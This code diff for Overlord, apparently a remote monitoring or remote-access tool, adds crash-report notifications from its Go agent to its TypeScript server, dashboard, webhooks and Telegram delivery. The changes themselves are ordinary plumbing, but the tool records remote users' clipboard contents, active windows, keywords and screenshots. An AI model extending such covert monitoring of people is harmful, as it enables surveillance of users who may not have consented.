diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 074aec7..0a611fa 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -671,6 +671,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. hello.LastCrashReason = report.Reason hello.LastCrashDetail = truncateStr(fmt.Sprintf("%s at %s", report.Detail, report.At), 1200) } + crashReportSent := hello.LastCrashReason != "" if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { return fmt.Errorf("send hello: %w", err) @@ -694,6 +695,10 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. switch ackType { case "hello_ack": log.Printf("[purgatory] approved, proceeding with session") + if crashReportSent { + clearPendingCrashReport() + crashReportSent = false + } if err := handlers.HandleHelloAck(ackCtx, env, ackEnvelope); err != nil { log.Printf("[purgatory] hello_ack handler error: %v", err) @@ -716,7 +721,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. cancel() return fmt.Errorf("send initial ping: %w", err) } - if hello.LastCrashReason != "" { + if crashReportSent { clearPendingCrashReport() } diff --git a/Overlord-Server/public/assets/notifications.js b/Overlord-Server/public/assets/notifications.js index 8106c7f..f42e6d4 100644 --- a/Overlord-Server/public/assets/notifications.js +++ b/Overlord-Server/public/assets/notifications.js @@ -286,6 +286,10 @@ function sourceHtml(entry) { `${escapeHtml(entry.item.event)}`; } const isClipboard = entry.item.category === "clipboard"; + const isCrash = entry.item.category === "crash_report"; + if (isCrash) { + return ` crash`; + } return isClipboard ? ` clipboard` : ` window`; @@ -302,6 +306,7 @@ function entryToRow(entry) { clientId: item.clientId || "", user: item.user || "-", title: entry.kind === "event" ? "client event" : (item.title || "-"), + detail: entry.kind === "event" ? "" : (item.detail || item.processPath || ""), process: entry.kind === "event" ? (item.os || "-") : (item.process || "-"), keyword: entry.kind === "event" ? "-" : (item.keyword || "-"), source: entry.kind === "event" ? (item.event || "") : (item.category || "window"), @@ -319,6 +324,7 @@ function entryMatchesSearch(entry, query) { item.title, item.process, item.processPath, + item.detail, item.keyword, entry.kind === "event" ? item.event : item.category, item.os, @@ -1107,7 +1113,11 @@ function initNotificationTable() { formatter: (cell) => { const row = cell.getRow().getData(); const value = escapeHtml(cell.getValue() || "-"); + const detail = escapeHtml(row.detail || ""); const tone = row.kind === "event" ? "italic text-slate-400" : "text-slate-100"; + if (row.item?.category === "crash_report" && detail) { + return `
${value}
${detail}
`; + } return `${value}`; }, }, diff --git a/Overlord-Server/public/assets/notify-client.js b/Overlord-Server/public/assets/notify-client.js index ad2c59f..247e457 100644 --- a/Overlord-Server/public/assets/notify-client.js +++ b/Overlord-Server/public/assets/notify-client.js @@ -271,13 +271,16 @@ function showDesktopNotification(item) { if (!("Notification" in window)) return; if (Notification.permission !== "granted") return; - const title = item.keyword + const title = item.category === "crash_report" + ? "Overlord \u2014 Crash Report" + : item.keyword ? `Overlord \u2014 ${item.keyword}` : "Overlord \u2014 Notification"; const lines = [item.title]; if (item.user) lines.push(`User: ${item.user}`); if (item.host) lines.push(`Host: ${item.host}`); if (item.process) lines.push(`Process: ${item.process}`); + if (item.detail) lines.push(String(item.detail).slice(0, 300)); const body = lines.filter(Boolean).join("\n"); fireNotification(title, body, `overlord-${item.id || Date.now()}`, "/notifications"); diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts index 9f9ff3b..295ac76 100644 --- a/Overlord-Server/src/db/repositories.ts +++ b/Overlord-Server/src/db/repositories.ts @@ -2067,6 +2067,7 @@ export type NotificationRow = { title: string; process?: string; processPath?: string; + detail?: string; pid?: number; keyword?: string; category: string; @@ -2077,8 +2078,8 @@ export type NotificationRow = { export function saveNotification(record: NotificationRow) { db.run( `INSERT OR REPLACE INTO notifications - (id, client_id, host, user, os, title, process, process_path, pid, keyword, category, ts, screenshot_id) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, + (id, client_id, host, user, os, title, process, process_path, detail, pid, keyword, category, ts, screenshot_id) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, record.id, record.clientId, record.host ?? null, @@ -2087,6 +2088,7 @@ export function saveNotification(record: NotificationRow) { record.title, record.process ?? null, record.processPath ?? null, + record.detail ?? null, record.pid ?? null, record.keyword ?? null, record.category, @@ -2116,6 +2118,7 @@ export function getNotificationHistory(limit: number = 500): NotificationRow[] { title: row.title, process: row.process ?? undefined, processPath: row.process_path ?? undefined, + detail: row.detail ?? undefined, pid: row.pid ?? undefined, keyword: row.keyword ?? undefined, category: row.category, diff --git a/Overlord-Server/src/db/schema.ts b/Overlord-Server/src/db/schema.ts index 7120932..f97db2b 100644 --- a/Overlord-Server/src/db/schema.ts +++ b/Overlord-Server/src/db/schema.ts @@ -393,6 +393,7 @@ db.run(` title TEXT NOT NULL, process TEXT, process_path TEXT, + detail TEXT, pid INTEGER, keyword TEXT, category TEXT NOT NULL DEFAULT 'active_window', @@ -400,6 +401,9 @@ db.run(` screenshot_id TEXT ); `); +try { + db.run(`ALTER TABLE notifications ADD COLUMN detail TEXT`); +} catch {} db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_ts ON notifications(ts DESC);`); db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_client_id ON notifications(client_id);`); diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 6c32868..e67176f 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -694,6 +694,7 @@ async function startServer() { notifyDashboard: sessionManager.notifyDashboardViewers, notifyDashboardClientEvent: sessionManager.notifyDashboardClientEvent, broadcastClientEvent: notificationPluginHandlers.broadcastClientLifecycleEvent, + handleCrashReport: notificationPluginHandlers.handleCrashReport, }; const server = Bun.serve({ diff --git a/Overlord-Server/src/notification-delivery.test.ts b/Overlord-Server/src/notification-delivery.test.ts new file mode 100644 index 0000000..d074031 --- /dev/null +++ b/Overlord-Server/src/notification-delivery.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, test } from "bun:test"; +import { DEFAULT_TELEGRAM_TEMPLATE, DEFAULT_WEBHOOK_TEMPLATE, renderNotificationTemplate } from "./server/notification-delivery"; + +describe("notification delivery templates", () => { + test("crash report detail is available to default templates", () => { + const record = { + id: "notif-1", + clientId: "client-1", + host: "host-a", + user: "user-a", + os: "Windows", + title: "Client crash report: panic", + process: "crash report", + detail: "panic: nil pointer at session.go:123", + keyword: "crash", + category: "crash_report" as const, + ts: 123, + }; + + const webhook = JSON.parse(renderNotificationTemplate(DEFAULT_WEBHOOK_TEMPLATE, record, DEFAULT_WEBHOOK_TEMPLATE)); + const telegram = renderNotificationTemplate(DEFAULT_TELEGRAM_TEMPLATE, record, DEFAULT_TELEGRAM_TEMPLATE); + + expect(webhook.data.detail).toBe(record.detail); + expect(telegram).toContain(record.detail); + }); +}); diff --git a/Overlord-Server/src/server/notification-delivery.ts b/Overlord-Server/src/server/notification-delivery.ts index 65f72de..b549b4b 100644 --- a/Overlord-Server/src/server/notification-delivery.ts +++ b/Overlord-Server/src/server/notification-delivery.ts @@ -20,9 +20,10 @@ export type NotificationRecord = { title: string; process?: string; processPath?: string; + detail?: string; pid?: number; keyword?: string; - category: "active_window" | "clipboard"; + category: "active_window" | "clipboard" | "crash_report"; ts: number; screenshotId?: string; }; @@ -50,10 +51,10 @@ export type UserDeliveryTarget = { }; export const DEFAULT_WEBHOOK_TEMPLATE = - `{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`; + `{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","detail":"{detail}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`; export const DEFAULT_TELEGRAM_TEMPLATE = - `\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}`; + `\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}\nDetail: {detail}`; const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000; const NOTIFICATION_SCREENSHOT_POLL_MS = 250; @@ -93,6 +94,7 @@ export function renderNotificationTemplate( .replace(/{user}/g, record.user ?? "") .replace(/{host}/g, record.host ?? "") .replace(/{process}/g, record.process ?? "") + .replace(/{detail}/g, record.detail ?? "") .replace(/{os}/g, record.os ?? "") .replace(/{pid}/g, String(record.pid ?? "")) .replace(/{ts}/g, String(record.ts ?? "")); @@ -324,13 +326,16 @@ async function deliverWebPushToAll( const targets = getUserDeliveryTargets(record.clientId); const allowedUserIds = new Set(targets.map((t) => t.userId)); - const title = record.keyword + const title = record.category === "crash_report" + ? "Overlord \u2014 Crash Report" + : record.keyword ? `Overlord \u2014 ${record.keyword}` : "Overlord \u2014 Notification"; const lines = [record.title]; if (record.user) lines.push(`User: ${record.user}`); if (record.host) lines.push(`Host: ${record.host}`); if (record.process) lines.push(`Process: ${record.process}`); + if (record.detail) lines.push(String(record.detail).slice(0, 300)); const payload = JSON.stringify({ type: "notification", diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 5b6a89d..3c55d16 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -270,6 +270,10 @@ type WsLifecycleDeps = { event: "client_online" | "client_offline" | "client_purgatory", info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string }, ) => void; + handleCrashReport: ( + clientId: string, + crash: { reason: string; detail?: string; host?: string; user?: string; os?: string }, + ) => void; }; const ENROLLMENT_TIMEOUT_MS = 30_000; @@ -308,6 +312,12 @@ function computeKeyFingerprint(publicKeyBase64: string): string { return hash; } +function sanitizeCrashString(value: unknown, maxLen: number): string | undefined { + if (typeof value !== "string") return undefined; + const clean = value.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").trim(); + return clean ? clean.slice(0, maxLen) : undefined; +} + export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLifecycleDeps): void { const role = ws.data.role as string; const clientId = ws.data.clientId; @@ -650,6 +660,18 @@ export async function handleWebSocketMessage( lastSeen: Date.now(), }); + await handleHello(infoObj, payload as Hello, ws, ip); + const lastCrashReason = sanitizeCrashString((payload as any).lastCrashReason, 64); + if (lastCrashReason) { + deps.handleCrashReport(resolvedId, { + reason: lastCrashReason, + detail: sanitizeCrashString((payload as any).lastCrashDetail, 1200), + host: infoObj.host, + user: infoObj.user, + os: infoObj.os, + }); + } + const notificationConfig = deps.getNotificationConfig(); try { ws.send( @@ -667,7 +689,6 @@ export async function handleWebSocketMessage( logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`); } - await handleHello(infoObj, payload as Hello, ws, ip); scheduleQueuedClientDbFlush(); clientManager.addClient(infoObj.id, infoObj); diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index 4e5016f..1daf78f 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -19,9 +19,10 @@ type NotificationRecord = { title: string; process?: string; processPath?: string; + detail?: string; pid?: number; keyword?: string; - category: "active_window" | "clipboard"; + category: "active_window" | "clipboard" | "crash_report"; ts: number; screenshotId?: string; }; @@ -371,6 +372,53 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { ); }, + handleCrashReport( + clientId: string, + crash: { reason: string; detail?: string; host?: string; user?: string; os?: string }, + ) { + const reason = String(crash.reason || "").trim(); + if (!reason) return; + + const info = clientManager.getClient(clientId); + const detail = String(crash.detail || "").trim(); + const record: NotificationRecord = { + id: uuidv4(), + clientId, + host: crash.host || info?.host, + user: crash.user || info?.user, + os: crash.os || info?.os, + title: `Client crash report: ${reason}`, + process: "crash report", + processPath: detail, + detail, + keyword: "crash", + category: "crash_report", + ts: Date.now(), + }; + + logger.warn(`[notify] crash report client=${clientId} reason=${reason}`); + saveNotification(record); + + if (deps.isClientNotificationsMuted(clientId)) { + return; + } + + for (const session of sessionManager.getAllNotificationSessions().values()) { + const sRole = session.userRole ?? session.viewer.data.userRole ?? ""; + const sUserId = session.userId ?? session.viewer.data.userId; + if (sRole !== "admin") { + if (sUserId === undefined || !deps.canUserAccessClient(sUserId, sRole, clientId)) { + continue; + } + } + safeSendViewer(session.viewer, { type: "notification", item: record }); + } + + deps.deliverNotificationWithScreenshot(record).catch((err) => + logger.warn("[notify] crash report delivery failed", err), + ); + }, + handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) { if (!commandId) return; if (ok === true) return;